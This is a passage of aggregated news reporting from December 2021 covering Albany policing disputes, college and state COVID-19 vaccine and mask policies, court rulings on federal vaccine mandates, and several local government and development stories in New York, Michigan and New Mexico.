alongside city police officers. Albany Police Chief Eric Hawkins and Mayor Kathy Sheehan's administration were notified of his concerns, Delano said. The union and the city are currently in contract negotiations after a lengthy battle to break away from the Council 82 umbrella union. Sheehan's chief of staff and director of operations did not return requests for comment. Earlier this year, Apple sent the city a bill for the patrols, which he estimated topped $1 million. Democrats in the county Legislature defeated a Republican-backed resolution asking the city to make good on those costs. The city also declined to sign a memorandum of understanding with the county on the sheriff patrols. In a statement, Hawkins said he was committed to ensuring that the city and county partnership met the needs of officers and residents. "We're constantly reassessing the efficacy of our partnerships with other law enforcement agencies," he said. Apple and Hawkins spoke Tuesday evening and the two agencies' command staffs are supposed to meet to discuss the issue, a police spokesman said. Delano's main concern is that officers can't easily listen in on sheriff transmissions so they don't know where the deputies are or what they're doing in the city. Their channels are not in the city police radios' preset channels and city officers are handling too many calls to find a way to access their transmissions, he said. "If there is access, we're not aware of it," he said. "We listen to our calls that's it." Kelly Kimbrough, chairman of the Common Council's Public Safety Committee, said he wanted more details on the issues between the two agencies. Kimbrough questioned whether sheriff deputies, many of whom typically patrol rural areas of the county, were the best equipped to patrol the city, and added that pairing them with city officers might be beneficial for both agencies in the long run. "It's a matter of being used to doing things a certain way," he said. Sheriff deputy pursuits have led to at least two other crashes, including one that snapped a telephone pole in half near Mount Hope Drive and South Pearl Street where city police officers had just wrapped up a stabbing investigation minutes prior, Delano said. In an interview, Apple said he had no intention of pulling his deputies from the city or not pursuing drivers who flee traffic stops. He pushed back against the idea that city police officers couldn't listen to his deputies' transmissions. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The deputies' patrols have taken guns and drugs off the street, making the city safer, he said. He added he would not put deputies back in the city patrol cars. "We're going to continue to do what we've been doing," he said. "If we upset a few police officers along the way, I can't apologize for that." The sheriff deputies have largely focused on vehicle and traffic violations over the past two summers. Apple told the county legislature that as of Nov. 11 the effort resulted in more than 4,300 stops, 600 tows and 331 arrests. Apple acknowledged deputies had been involved in chases, including ones that resulted in crashes, but said Monday's crash was not the result of a chase. The incident Monday evening started after sheriff deputies pulled over a vehicle for traffic violations. The driver was on parole for felonies, Apple said. When deputies approached the car they allegedly saw a suspect attempting to shove something into his waistband. The driver then took off, striking multiple cars and the Albany Karen Seventh-Day Adventist Church at the corner of Western Avenue and South Lake Avenue, roughly a quarter mile from where the traffic stop occurred. "The crash happened by the time the deputies got back to their cars," he said. Apple said deputies found cocaine, fentanyl and heroin on the man. The dog involved in the crash was not seriously injured. *This story has been updated to clarify that the crash happened at the corner of South Lake Avenue. OKLAHOMA CITY (AP) A federal appeals court has upheld the conviction of an Oklahoma man for trying to blow up an Oklahoma City bank. The U.S. 10th Circuit Court of Appeals on Monday rejected claims by the appeal of Jerry Drake Varnell, 27, that he was entrapped by the government. Facing rising infections and a new COVID-19 variant, colleges across the U.S. have once again been thwarted in seeking a move to normalcy and are starting to require booster shots, extend mask mandates, limit social gatherings and, in some cases, revert to online classes. The threat of the omicron variant comes as a gut punch to schools that were hoping to relax safety measures this spring. Now, many are telling students to prepare for another term of masking, testing and, if cases get bad, limits around social life. Cornell University abruptly shut down all campus activities on Tuesday and moved final exams online after more than 700 students tested positive over three days. In a campus message, President Martha Pollack said there was evidence of the omicron variant in a significant number of samples. It is obviously extremely dispiriting to have to take these steps, Pollack wrote. However, since the start of the pandemic, our commitment has been to follow the science and do all we can to protect the health of our faculty, staff and students. Hours later, Princeton University moved its exams online and urged students to leave campus at their earliest convenience amid a rise in cases. On Wednesday, New York University canceled all non-academic events and encouraged professors to move finals online. Cornell, Princeton and NYU all report student vaccination rates of more than 98%. After a fall with few coronavirus cases, officials at Syracuse University were feeling pretty good about the spring term, said Kent Syverud, the upstate New York schools chancellor. But omicron has changed that, Syverud said. It has made us go back and say, until we know more about this variant for sure, were going to have to reinstate some precautions. Last week, Syracuse announced that all eligible students and employees must get COVID-19 booster shots before the spring term. Students will also face a round of virus tests when they return, and officials are weighing whether to extend an existing mask mandate. Much is still unknown about the omicron variant and how big of a threat it poses. In the United States and many other nations, the delta variant is currently responsible for most COVID-19 cases. But as colleges brace for the worst, many see boosters as their best hope. More than 30 colleges have issued booster shot requirements in recent weeks, and others say theyre thinking about it. The Centers for Disease Control and Prevention is encouraging boosters for people ages 17 and older, and Pfizer last week announced that a booster of its COVID-19 vaccine might offer important protection against omicron even though the initial two doses appear less effective. Hundreds of colleges already require COVID-19 vaccines, and some say boosters are an obvious next step. Most booster mandates so far have come from small liberal arts colleges in the Northeast, but the list includes some as big as Boston University and NYU, and as far away as the University of Notre Dame in Indiana and the University of New Mexico. The University of Massachusetts in Amherst was among the first to require the booster for students, saying all students must get shots unless they have medical or religious exemptions. The boosters are our best protection, said Jeffrey Hescock, co-director of the universitys Public Health Promotion Center. This demonstrates that we take public health seriously, and our students do too. A recent online petition arguing against the booster mandate citing 97% of students vaccinated and few on-campus cases has attracted a few dozen signatures. But Emily OBrien, a freshman at UMass, said the booster shot is a reasonable demand. She was already planning on getting a booster but said the mandate will probably increase uptake among students and prevent future lockdowns. If the past six months have shown anything, its that lots of people wont bother to get vaccines especially younger healthy people if they dont have a requirement to, said OBrien, 18, of Bedford, New Hampshire. UMass will also require masks at the start of spring term, and its sending students home with a rapid test to be taken near the end of winter break. Many colleges are planning for potential disruption next semester even as they contend with outbreaks now. Middlebury College in Vermont switched to remote instruction last week amid a surge in cases and urged students to leave early for winter break. Rising cases at the University of Pennsylvania led to a ban on indoor social events last Thursday. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. On Friday, Tulane University in New Orleans warned that a campus spike includes probable cases of the omicron variant, confirmed in at least one student last week. In response, school officials reinstated a mask mandate and expanded virus testing. Some other schools are already postponing the return to campus next month to avoid outbreaks. Southern New Hampshire University and DePaul University in Chicago recently said students will take classes remotely for two weeks before returning to campus after the holidays. In a letter to students, DePauls president, A. Gabriel Esteban, said the school will cautiously start winter quarter so we can sustain a robust college experience the remainder of the academic year. When students at Stanford University return to campus in January, they will be barred from holding parties or other big gatherings for two weeks. Theyll also be tested once a week and continue to wear masks indoors as requirements to attend in-person classes. The measures aim to limit virus transmission without going too far in limiting the college experience, said Russell Furr, associate vice provost for environmental health and safety. This is something weve grappled with throughout the pandemic how do we get a balanced approach? Furr said. The goal is to avoid the strict lockdowns seen early in the pandemic, when student mental health really suffered, he added. At some colleges, theres still cautious hope for a normal semester. Leaders at the University of Central Florida told professors they can require in-person attendance in the spring, which had been discouraged this fall amid a surge in delta cases. In a campus message, interim provost Michael D. Johnson warned that if the omicron variant takes off, "we may need to change direction yet again. Another concern is omicrons timing even without a new variant, there were worries of more outbreaks as colder weather drives people indoors, said Anita Barkin, co-chair of a COVID-19 task force for the American College Health Association. The association recently recommended that colleges focus on increasing vaccination rates to avoid a new wave of cases. The message in all of it is, we need to remain vigilant, Barkin said. There is certainly pandemic fatigue and people are tired of the pandemic but it appears that the pandemic is not quite tired of us. BAOTN ROUGE, La. (AP) Gov. John Bel Edwards notified House lawmakers Tuesday that he's adding the COVID-19 vaccine to Louisiana's immunization schedule for schools and colleges despite their attempt to block the new regulation from taking effect. As expected, the Democratic governor sent a letter to the House Health and Welfare Committee, notifying them that he will override their 13-2 bipartisan vote against the plan and enact it against their wishes. Some students will be required to get the vaccination for the 2022-23 school year or file paperwork to opt out of the immunization requirement. The development of the COVID-19 vaccines in time to help us put this pandemic behind us also requires us to do everything we can to add COVID-19 to the list of diseases that no longer pose a serious threat. This rule does just that, and it should remain in place, Edwards wrote to Rep. Larry Bagley, the Stonewall Republican who chairs the House health committee. The governor's decision is expected to prompt a lawsuit. While not unexpected, it's very disappointing. We're reviewing any and all options we might have, House Speaker Clay Schexnayder, a Gonzales Republican, said in a statement after the governor released his decision. Schexnayder and Republican Attorney General Jeff Landry said they dont believe the Edwards administration has the authority to add the coronavirus vaccine to the immunization schedule without a legislative vote. The committee determined that the proposed rule is not advisable, is unacceptable and is outside the scope of authority granted to LDH by the constitution and laws of this state, the House committee said in its written objection to the governor and the Louisiana Department of Health. Already, many of Louisianas colleges have begun requiring the vaccine or an exemption request. Under Edwards plan, the addition of the COVID-19 vaccine to the state immunization schedule will only apply to age groups for whom the U.S. Food and Drug Administration has given full approval for the shots. Currently, thats students 16 and older. But that would broaden to cover younger children if the FDA grants full backing to the vaccine for more age groups. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Across a daylong committee hearing last week, some lawmakers and members of the public repeated misinformation about the risks of the coronavirus illness and the vaccine. Other lawmakers called the governors plan governmental overreach that meddles in family decision-making. They said they had been inundated with complaints about adding the COVID-19 vaccine to the immunization schedule for schools. Edwards said 19 children have died from COVID-19 in Louisiana since March 2020, and he said no one in the state has died from receiving the vaccine. He criticized misleading and conspiratorial rhetoric about the shots at the House committee hearing. And he noted that parents and students can use the broad exemptions outlined in state law to avoid the immunization requirement. No child will be forced to be vaccinated against the will of his or her parents, the governor wrote. ___ Follow Melinda Deslatte on Twitter at http://twitter.com/melindadeslatte. BOSTON (AP) Massachusetts Attorney General Maura Healey said Tuesday she's seeking to reverse the dismissal of criminal neglect charges against two former leaders of a veterans home where nearly 80 veterans died after contracting the coronavirus, in one of the worst COVID-19 outbreaks in a long-term care facility in the nation. A Massachusetts judge dismissed the charges in November against former Holyoke Soldiers Home Superintendent Bennett Walsh and former Medical Director Dr. David Clinton, saying there was a lack of evidence that their actions led to the deaths. NEW ORLEANS (AP) A federal appeals court panel on Wednesday lifted a nationwide ban against President Joe Bidens vaccine mandate for health care workers, instead blocking the requirement in only certain states and creating the potential for patchwork enforcement across the country. The decision by the New Orleans-based 5th U.S. Circuit Court of Appeals kept a preliminary injunction in place for 14 states that had collectively sued in federal court in Louisiana. It altered a Nov. 30 ruling by U.S. District Judge Terry Doughty, who originally applied his order nationwide. A separate preliminary injunction on appeal before the St. Louis-based 8th U.S. Circuit Court of Appeals applies to 10 additional states. That means the vaccine requirement for Medicare and Medicaid providers is blocked by courts in about half states but not in the other half. This vaccine rule is an issue of great significance currently being litigated throughout the country. Its ultimate resolution will benefit from the airing of competing views in our sister circuits, the ruling from three 5th Circuit judges said. At issue is a rule published Nov. 5 by the Centers for Medicare & Medicaid that applied to a wide range of health care providers that receive federal Medicare or Medicaid funding. It required their workers to receive the first dose of a COVID-19 vaccine by Dec. 6 and be fully vaccinated by Jan. 4. It was projected to affect more than 17 million workers in about 76,000 health care facilities as well as home health care providers. The agency said on Dec. 2 that it would not enforce the vaccine rule while court injunctions were in place. It was not immediately clear Wednesday whether the agency would continue to suspend the rule for all states or seek to go ahead with it in states no longer subject to the injunctions. About 85% of adults nationwide already have received at least one dose of a COVID-19 vaccine. But Biden contends his various workforce vaccine mandates are an important step to drive up vaccination rates and contain the virus outbreak, which has killed about 800,000 people in the U.S. Courts that have blocked the mandates for health workers, federal contractors and medium- to-large-sized businesses all have said the Biden administration likely exceeded the executive powers spelled out in law. The administration has continued to say it is on firm legal ground. In upholding Doughtys injunction for the states that sued, the 5th Circuit panel said it appears likely that opponents of the health worker vaccine mandate will prevail as the case moves through the courts. However, the panel also said there are significant differences between the health care vaccine mandate and another vaccine mandate blocked previously in a separate ruling upheld by the 5th Circuit that applied to all businesses employing more than 100 people. Among the key differences, the court said, is that the targeted health care facilities, especially nursing homes, are where COVID-19 has posed the greatest risk. Wednesday's 5th Circuit ruling was issued by judges Leslie Southwick, nominated to the court by President George W. Bush; and James Graves and Gregg Costa, both nominated by President Barack Obama. The 5th Circuit decision blocks the health worker vaccine mandate in Alabama, Arizona, Georgia, Idaho, Indiana, Kentucky, Louisiana, Mississippi, Montana, Ohio, Oklahoma, South Carolina, Utah and West Virginia. The separate case pending before the 8th Circuit blocks the mandate in Alaska, Arkansas, Iowa, Kansas, Missouri, Nebraska, New Hampshire, North Dakota, South Dakota and Wyoming. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Also Wednesday, the Cincinnati-based U.S. 6th Circuit Court of Appeals said a three-judge panel rather than the entire court would rule on a challenge to the Biden administrations mandate that all private employers with at least 100 workers require them to be vaccinated or wear masks and face weekly tests. That decision is a victory for the Biden administration, which had pushed back against efforts to have all the judges in the panel initially involved. Eleven of the 16 full-time judges in the 6th Circuit were appointed by Republicans. The vote in the 6th Circuit was split, with eight judges wanting the entire panel to hear the case and eight wanting it to stay with three judges. Judge Karen Nelson Moore wrote that the three-judge panel already has devoted time to the case and switching now would subvert our normal process. Chief Judge Jeffrey Sutton disagreed, arguing in a dissent, there is something to be said for putting all hands on deck, particularly when it comes to handling the stay motion. In his dissent, he laid out a case against the administrations authority to issue the mandate. At least for now, the earlier ruling from the 5th Circuit remains in place and the broader business vaccine mandate is on hold nationwide. The federal government has asked for that order to be dissolved. Determining which judges will decide that issue could set the stage for a ruling in the matter. ___ Lieb reported from Jefferson City, Missouri. Associated Press writer Geoff Mulvihill in Cherry Hill, New Jersey, contributed to this report. LOS ANGELES (AP) Los Angeles Mayor Eric Garcetti told U.S. senators considering his nomination to be ambassador to India that he never witnessed a former top adviser sexually harass one of his police bodyguards, allegations that are at the center of a lawsuit filed against his administration. The Democratic mayors statement Tuesday came during questioning from members of the Senate Foreign Relations Committee, which held a hearing in Washington to consider Garcettis nomination. Garcetti was nominated for one of the countrys highest profile diplomatic posts in July by President Joe Biden. Democratic Sen. Jeanne Shaheen of New Hampshire told Garcetti she was concerned about accusations against former political adviser and confidant Rick Jacobs, which include claims that the mayor did not respond to those allegations in a way that would have stopped the behavior. She noted that womens rights and sexual harassment remain priority issues in India, the worlds largest democracy. I think its very important that we model the behavior that we want to see in our allies, she told Garcetti. The mayor, addressing the Jacobs case, said: I never witnessed, nor was it brought to my attention, the behavior thats been alleged. ... If it had been, I would have immediately taken action to stop that. If confirmed, he said combatting sexual harassment and assault would be core issues for him. The mayor said persistent action" was needed to support and protect victims. He emphasized that as mayor, he established policies to centralize complaints and permit victims to submit reports of alleged abuse anonymously. Harassment and discrimination have no place in the workplace, no place in our society. I have zero tolerance for that. And I also know that words are not enough, he said. Shaheen then said, I look forward to your strong stance when you are confirmed. The exchange stood out in what was largely a drama-free hearing for the two-term mayor. Garcetti promised to strengthen Americas ties to India, including working on defense issues, climate change, open markets and the coronavirus. Garcetti was a strong Biden supporter during the 2020 presidential campaign and was named co-chair for the incoming presidents inauguration last January. He nomination for the ambassadorship comes as he is wrapping up a turbulent two terms, framed by the pandemic and a homeless crisis that has seen encampments spread into virtually every corner of the city. California Democratic Sen. Alex Padilla alluded to challenges faced by Garcetti during his time leading the nations second-most-populous city, but those issues never came into play during the hearing. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The lawsuit against the city charges that Jacobs frequently sexually harassed one of the mayors police bodyguards while Garcetti ignored it or laughed it off. The mayor has repeatedly denied the claims. Garcetti needs a majority vote to be confirmed in the evenly divided Senate, which is controlled by Democrats because Vice President Kamala Harris has the authority to break tie votes. Harris is a former California U.S. senator who is close friends with Garcetti. Garcetti was one of three nominees who appeared before the Foreign Relations Committee during a lightly attended hearing. The others were University of Pennsylvania President Amy Gutmann, Bidens pick to serve as ambassador to Germany, and career diplomat Donald Armin Blome, the presidents selection for ambassador to Pakistan. Gutmann faced sharp questioning from the committees ranking Republican, Idaho Sen. James Risch, who said federal data shows the university received $86 million in donations and contracts from sources in China since 2014. Chinese influence is a problem all over the world, Risch said. I was shocked at this number of $86 million, flowing into your institution, he added, saying he was surprised to find out she was not more familiar with the gifts. Gutmann responded that the school and its hospitals raised over $5 billion during that time, so the amount from China represents a tiny fraction. Its not surprising that I dont know of specific gifts and contracts, she said, given the size and volume of the contributions. She added that no gifts are allowed to threaten academic freedom or national security. LANSING, Mich. (AP) Michigan legislators late Tuesday passed a $1.5 billion bill with state incentives to land major business projects, including an electric vehicle battery factory that General Motors wants to build in the Lansing area. Once Gov. Gretchen Whitmer signs the funding and related bills into law, $1 billion in state revenue will go to the new Strategic Outreach and Attraction Reserve Fund. Legislative budget committees would have to approve transfers from the account to new site readiness and critical industry funds before the state's economic development board could distribute grants, loans and other assistance to companies. Thanks to the effective collaboration of legislative leadership in both parties, our state will be competitive for every dollar and every job for years to come, the Democratic governor said in a statement. The funding legislation was approved on 25-11 and 78-25 votes in the Senate and House before lawmakers adjourned for the year. As part of the deal, she will sign $409 million in aid for restaurants and other businesses that lost money in the pandemic. The Republican-controlled Legislature also approved a $75 million tax cut for businesses that pay taxes on nonindustrial equipment and personal property. The exemption, based on the value of the equipment, would rise from $80,000 to $180,000 per parcel. We are in a period where there are increasingly large opportunities that will have generational and transformative impact. This allows us to be in better position to win those deals, Quentin Messer Jr., CEO of the Michigan Economic Development Corp. and president and chair of the Michigan Strategic Fund, said of the $1 billion in incentives. The Lansing City Council on Monday began approving local tax breaks for the proposed GM project, which could cost up to $2.5 billion and employ as many as 1,700 workers. Business leaders and lawmakers have said Michigan is in the mix for three other big deals that could be announced as soon as January. Michigan-based automakers qualify for generous job-retention tax credits under an old economic development program, and some businesses were awarded tax incentives through a newer initiative that expired in 2019. But supporters of the new incentives say the state cannot compete with what other states are offering, despite criticism that such corporate subsidies are unfair to other companies and could be better spent on government services. Talks about boosting incentives had been underway but intensified in recent months after Ford Motor Co. announced plans to build an electric vehicle assembly plant and three battery factories in Kentucky and Tennessee. The Ford announcement felt like a punch in the nose. ... Michiganders have always responded to every punch with a more forceful counterpunch," Messer told The Associated Press. Opponents in both parties, including Democratic Rep. Cynthia Johnson of Detroit, called the incentives corporate welfare and said there is no guarantee that any new jobs will last in the long term. Why do the wheels turn so fast for corporate America? When they come in here and they demand something, they get it like that, said Democratic Sen. Jeff Irwin of Ann Arbor. What about the people who are suffering in silence with mental illness? What about the people sleeping on the street? What about the small businesses who are trying to figure how (to) pay for health care? But Sen. Ken Horn, a Frankenmuth Republican, said residents are counting on Michigan to be prepared for the auto industry's shift from internal combustion engines to zero emission electric power. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. This is our opportunity to make a difference. This is money well spent, he said, saying the incentives will give Michigan a better than 50-50 shot at securing all four serious projects on the table, including another auto-related deal. The grants for pandemic-afflicted businesses to be funded with federal discretionary pandemic aid and the tax cut were welcomed by groups representing small businesses. Grants to qualifying businesses will be tied to what they paid in 2020 for property taxes or rent, unemployment insurance taxes and liquor fees, inspection fees and other fees. Critics questioned the tax reduction's effect on municipalities. By repealing this tax in perpetuity with no replacement to local communities beyond the first year, you are directly defunding the money that goes toward public safety," said Sen. Jeremy Moss, a Southfield Democrat. Republican Senate Majority Leader Mike Shirkey pledged to work to devise a permanent funding solution over the next year. ___ Follow David Eggert at https://twitter.com/DavidEggert00 SANTA FE, N.M. (AP) The New Mexico state Senate voted Friday in favor of a spending plan for $478 million in federal pandemic relief to expand highways, internet infrastructure, electric vehicles and oil field cleanup efforts. Included in the bill is $133 million in spending on internet projects, including alternative broadband using emerging technologies like wireless towers, blimps and new satellite internet networks. The sparsely populated rural state has struggled for years to dig the trenches and lay the fiber optic cable necessary to expand internet access. The issue was pushed to the forefront during the pandemic, when poor internet access led to inequalities in online education and healthcare access. Legislators hope that an influx in federal funding and the creation of a dedicated state broadband office will help accelerate internet connectivity efforts, especially in rural communities. While students are now back to school in person, theyre still expected to attend virtual classes when theres bad weather, or if theyre quarantined due to a COVID-19 exposure even though thousands of children lack access to quality internet, according to a fall state Public Education Department. Theres no such thing as a snow day anymore, said bill sponsor Sen. George Munoz of Gallup, in northwestern New Mexico. The state Senate voted 36-4 in favor of the bill, returning it to the House to approve recent amendments. The measure is expected to pass and preserves priorities added by the House, including $2 million for teacher loan repayment and $50 million for a rural hospital. The money would come from the some $1 billion in federal funds the state legislature is working to allocate after the state supreme court ruled last month that Gov. Michelle Lujan Grisham had no right to allocate the funds herself. The Legislature is on track to put around half of that money in the general fund, allowing it to allocate the money next year. Lujan Grisham has urged the Legislature to move quickly on pandemic aid spending. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The Democratic governor had vetoed Legislature allocations of the federal pandemic relief funds this spring, sparking a rare public dispute between her and the Democratic majorities in the state House and Senate. The Legislature sued and ultimately won their argument in court that the Legislature has the power of the purse, even when the money comes from federal funding. ___ Attanasio is a corps member for the Associated Press/Report for America Statehouse News Initiative. Report for America is a nonprofit national service program that places journalists in local newsrooms to report on under-covered issues. Follow Attanasio on Twitter. COLUMBUS, Ohio (AP) A police investigator says he believes the people who killed two young children along with a man at an Ohio apartment complex a week ago knew the children were present and may have targeted them along with the man. Authorities said 9-year-old Demitrius Wallneal and 6-year-old Londynn Wallneal were shot along with 22-year-old Charles Wade as they sat in a car in the parking lot of the Winchester Lakes apartment complex on the southeast side of Columbus on the night of Dec. 7. VIRGINIA BEACH, Va. (AP) A 65-year-old woman was shot and killed during what was described as an attempted robbery at a gas station in Virginia Beach, police said. Virginia Beach police said officers responded to a report late Monday afternoon of a person with gunshot wounds, according to a news release. When the officers arrived, they located the gunshot victim, and despite immediate medical attention, the victim died of their wounds, police said. STILLWATER Two controversial development projects on Saratoga Lake are back in front of town officials in Saratoga and Stillwater this week a 32-home subdivision and a three-building, 29-unit apartment complex. In both cases, opponents have expressed concerns that town officials are making it difficult for them to voice their opinions. In Saratoga, COVID-19 restrictions limit how many people can attend meetings, including a Wednesdays Planning Board meeting on Witt Constructions Cedar Bluff subdivision on Cedar Bluff and Hill roads. As of 8 p.m. Wednesday, it appeared everyone who wanted to attend the meeting in person could. And in Stillwater, details about the planned development district (PDD) apartment complex on Cold Spring Road and County Route 76 can only be gleaned by going to Town Hall - as none of the details of the project are posted on the town's website. Also missing online as of Wednesday was Thursday's Town Board meeting agenda, where a public hearing on the project will take place. Despite that, Supervisor Ed Kinowski said the public comment period will still likely be closed after that meeting. It all adds up to frustration for many lake residents, who watch as the forested slopes around the lake - where the real estate market is hot - are cleared and graded for construction. Erin Canning, who lives on Secretariat Lane in Stillwater that borders the apartment complex proposal, said she reached out to the town, but received no response to her concerns. She opposes the project she said because development overtaking Luther Forest, and placing greater focus on land conservation, should be top of mind "before it's too late." The (Stillwater) project is very close to the watershed and the stream outback, said Canning, who has worked with the Nature Conservancy. My biggest grievance is its a blatant disregard for the natural world.The money is all (the developers) are thinking of. They are not thinking of the county, conservation or protection and sustainability. Kinowski said the project is open to public comment and that the applicant will be at the public hearing with materials to share. We left the public hearing open so people can comment at following meetings, Kinowski said. Yet no one has called or come to our Town Hall to seek any additional information. Application materials for all proposals are always available for visual review at our planning office. However, no one in the planning office responded to a Times Union call. Stillwater town attorney James Trainor also did not respond to a call about the project. Because information on the apartment complex, known as Saratoga Glen, is not readily available, another resident on Secretariat Lane, hired an attorney, Dan Coffey, to look into it further - including the validity of the PDD that was initially approved in 1997. Coffey argues there is a sunset clause on the project and therefore, the project approvals have long since expired. He also said he sent a Freedom of Information Act request to the town, but Coffey said, the clerk did promptly respond, but he continues to wait for information on the original approvals on the project proposed by TDNI Properties. When asked about the number of acres involved or the public benefit, as all PDDs require a public benefit as they bend zoning laws, Kinowski said he too didnt have the information because he has been ill. But he said the town board will decide, likely in January, if the PDD is still valid and can go forward. More Information Saratoga Glen PDD 7 p.m., Thursday, Dec. 16 Stillwater Town Hall, 881 Hudson Ave., Stillwater https://www.stillwaterny.org/ See More Collapse We will decide on everything, Kinowski said. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. In bordering Saratoga, lake residents are eager to show up in large numbers to Wednesdays planning board meeting, but are expecting to be turned away by COVID-19 capacity limits. They have a social distancing requirement, said John Cashin who lives next to the proposed Witt Construction project. That room only allows for a dozen people. After Witt, his lawyer and engineers go to the meeting, whats left for residents? Why dont they conduct their meeting via Zoom? Planning Board Chair Ian Murray did not respond to a Times Union request for comment on how the meeting is being conducted. Supervisor Tom Wood acknowledged the town is still holding in-person meetings, and he said he cant speak for the planning board nor on how it handles its meetings. Saratoga residents have been trying to kill the Cedar Bluff development for about five years, citing many environmental concerns mainly storm water run off into the lake and deforestation. Though the project has yet to be approved, Witt already cleared 40 acres of forest. Despite pleas from residents to end the felling of dozens of trees, the town said clear-cutting was legal under its Right to Farm law because Witt entered a lease purchase agreement with Walt Borisenok, an alternate on the town's planning board, who will cultivate a vineyard there. Cashin is now hoping that the town will ask Witt, who did not respond to a Times Union call and text message, to take out a revision to his plan to convert Hill Road, now a cul-de-sac, into a through road for his development. In a memo to the town, Cashin asked why current residents should sacrifice their quality of life, their property values and the safety of their children to solve a problem created by a developer. He also argued that it is fundamentally unfair" and asked the town to intervene for those neighboring homeowners. It is an established duty of elected officials to listen to their constituents and protect the vested interests of existing homeowners over those of a non-resident developer, Cashin wrote. Canning hopes someone out there is listening. "With regional industrial development at an all time high, it becomes essential to ensure the protection of existing zoning and the majestic natural lands near Saratoga and Saratoga Lake," she said. "It's imperative and the duty of regional residents to advocate for nature as it cannot advocate for itself." ALBANY Mayor Kathy Sheehan vetoed part of the Common Councils budget ordinance that attempted to place limits on her use of federal rescue funds, setting up a probable veto override vote next week at the councils final meeting of the year. Sheehan had proposed using $16 million for revenue replacement funds, the maximum allowed under a federal formula that guides the use of the stimulus funds provided by the federal government. In her message to the council, Sheehan said the language in the ordinance, some of which was added just prior to the councils vote on the budget ordinance, improperly capped the amount of revenue replacement funds the city could use to make up for revenue shortfalls in 2020, and threatened the financial stability of the city if she let it stand. That could lead to layoffs, cuts to city services and other fiscal disasters, she wrote. Sheehan's Dec. 10 letter did not include details on how that would happen. The council approved her entire 2022 budget that funds city services, which includes the use of an additional $7.1 million in American Rescue Plan funding. Her chief of staff and director of operations did not return a request for comment to explain the letter further. The city's acting budget officer was out of the office and unavailable for comment. Rachel McEneny, the city's commissioner of administrative services, said at this point the city projects up to a $9 million revenue shortfall in 2021. The line-item veto specifically took aim at language that changed Sheehan's proposal of using $16 million in Rescue Plan money to make up for lost revenues in 2020. The ordinance reduced it to $8.6 million. Another section required the mayor to submit a disbursement plan for any other ARP funds. Sheehan vetoed both sections, as well as a line in another section that gave council oversight for any awards from the $25 million the city set aside earlier this year for community groups and nonprofits. In a statement circulated to council members, City Council member Judy Doesschate took issue with Sheehan's veto and the explanations behind it. "The council has not sought to politicize the process, and has not as the Mayor alleges - imposed a 'cap' on the use of revenue replacement funds," she wrote. "The now-vetoed language merely required the Mayor to submit an expenditure plan with reasonable explanations justifying the proposed use of any additional ARPA funds to the Council for its approval." At least five members signed on to Doesschate's statement as of Tuesday evening. The city is not allowed to directly place any ARP funding in its fund balance, under federal rules. However, if the city ends a fiscal year with a surplus, that money could be added to the city's fund balance. Doesschate has argued that because the city did not borrow to cover its 2020 expenses and used other funds to cover costs, the use of the full $16 million would essentially result in a surplus. The city did rely heavily on its existing fund balance and other city funds to stave off cuts and has sought to boost its fund balance, which was roughly $10 million as of Dec. 31, 2020. The council approved the ordinance with a 12-3 vote on Nov. 15. In interviews on Tuesday, several council members indicated that since then Sheehan's administration had been working to change council members' votes to prevent a veto override. The council needs 10 votes to override a mayoral veto. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. Councilman Tom Hoey, said he was disappointed in the mayor's veto and would not change his vote. He noted that the council had worked with the mayor to push for the federal funding and believed the members were being cut out of the process. "I think we need to have some oversight," he said. "That's not how you build relationships." Councilman Owusu Anane, who included language in Doesschate's amendment that set aside $2.6 million in funding for affordable housing programs, echoed Hoey's concerns. "The people of our wards elected us to represent them. Without a vote in how the city spends its funds, the 10th Ward, like other wards, will receive little to no voice," he said. Finance chair Ginnie Farrell, who voted against the ordinance over Doesschate's changes and how they were introduced, said she was disappointed the work the finance committee and the mayor's office put into a path forward for the city's rescue funds wasn't in the budget. "But I'm not surprised she vetoed it because of a last-minute, fiscally questionable addition council member Doesschate put in," she said. Farrell added that the council would still be pursuing further oversight of the city's ARP funding. ALBANY The state's Farm Laborers Wage Board is set to meet next month to address whether farmers should be entitled to a 40-hour work week like the rest of the labor force, according to a notice posted Tuesday on the Department of Labor's website. The wage board is scheduled to hold three public hearings, on Jan. 4, 11 and 18, which will all be virtual and held via Zoom. The new schedule was posted a day before the Dec. 15 deadline when the board was supposed to reconvene under a directive issued in February by Department of Labor Commissioner Roberta Reardon. The department's public information office had this week declined to provide details on when the board would meet and whether it would convene by Reardon's deadline. On Monday, the office would only say it will "provide an update when we have one." The new public hearing schedule was posted to the department's website Tuesday evening without an announcement and after the public information office declined to respond to questions about the hearings. "On Wednesday, Dec. 15, 2021, New York state labor Commissioner Roberta Reardon announced that she will reconvene a wage board to hold virtual public hearings to hear testimony to consider the existing overtime work threshold for farm laborers and the extent to which the overtime work threshold may be lowered in New York state," the state's website read late Tuesday. Last year, the state held four public hearings over the course of 10 hours. After four more meetings to discuss the hearings, the wage board decided to hold onto the state's new 60-hour weekly overtime threshold for farm workers, instead of lowering it. It then was planning to come back at the end of the year to examined how that worked out. Labor rights advocates want the threshold reduced to 40 hours, to bring farmers in line with the rest of the workforce, and the agricultural industry wants to go no lower than 60 hours because it fears a collapse of family farms. The last two months have been peppered with ramped-up advocacy on the controversial issue, particularly among the New York Farm Bureau and its affiliated groups. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. As the Department of Labor declined this week to provide any information on whether it would convene hearings on the issue, the New York Civil Liberties Union and other labor-rights groups were planning a news conference on the issues Wednesday. Last week, a state-commissioned study by Cornell University found farm workers are making more money, farms are generally still taking in large gains, but the owners of the farms informed the agricultural researchers that they feared a 40-hour threshold farm workers are now paid overtime after working 60 hours would crush their business. When overtime standards and minimum wage was being considered in the country 80-plus years ago, the debate centered around the same conversation. Ultimately political concessions were made to 